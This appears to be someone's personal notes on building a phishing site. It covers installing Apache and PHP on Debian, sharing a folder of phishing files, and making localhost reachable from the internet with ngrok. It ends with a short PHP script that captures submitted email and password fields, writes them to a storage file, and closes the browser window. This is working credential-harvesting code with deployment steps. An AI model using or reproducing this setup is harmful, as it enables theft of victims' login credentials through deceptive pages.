Self notes to **PHISHING**

OS: Linux
Distro: Debian

Installing Apache2 web server
1. apt-get purge apache2
2. apt-get install apache2

Installing PHP module
1. apt-get install php
2. apt-get install libapache2-mod-php7.0

Enabling PHP module
1. cd /etc/apache2/mods-available
2. a2enmod phpX.conf
3. **sudo service apache2 restart**

The default shared directory is /var/www/html. If you put a php file in this folder and from a browser, try to access that file, it will get executed.

To make other directories shared, you need to follow following steps:
1. gedit /etc/apache2/apache2.conf
2. Add these lines at appropriate place:

        <Directory /home/saarang/Programs/PhishingFiles/>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
        </Directory>

The above steps make the directory sharable.
If you want this directory to be accessed from web, you need to follow following steps:

1. gedit /etc/apache2/sites-available/000-default.conf
2. When you access a folder from web or via a browser, if the folder has a file named index.html, it will open it, otherwise it'll simply list all the files in that folder.
The PHP files and all other resources that need to be accessed by that website, should be kept in either the same folder that contains the html file or into one of the subdirectories (but then, you'll have to specify the path relative to the shared directory).

3. sudo service apache2 restart

To find out the ip address of the web-server, you can use ifconfig.

Just type localhost in the address bar of a browser to access it.

Making your localhost accessible on internet

1. Install NGROK.
2. Run it using the command ngrok <port-number, preferably 80>.

Now you can access your files from anywhere on the internet.

PHP file which is used to process the received data:
Hi
<?php echo htmlspecialchars($_POST['email']);?>.

```
<?php $var1=htmlspecialchars($_POST['email']);
      $var2=htmlspecialchars($_POST['pass']);
            echo "\n"." Maverick Serving.";
            $file1=fopen("storage","a") or die("unable to open file\n");
            fwrite($file1,$var1." ".$var2."\n");
            fclose($file1);
```

Maverick

```
?>

<script>
window.close();
</script>
```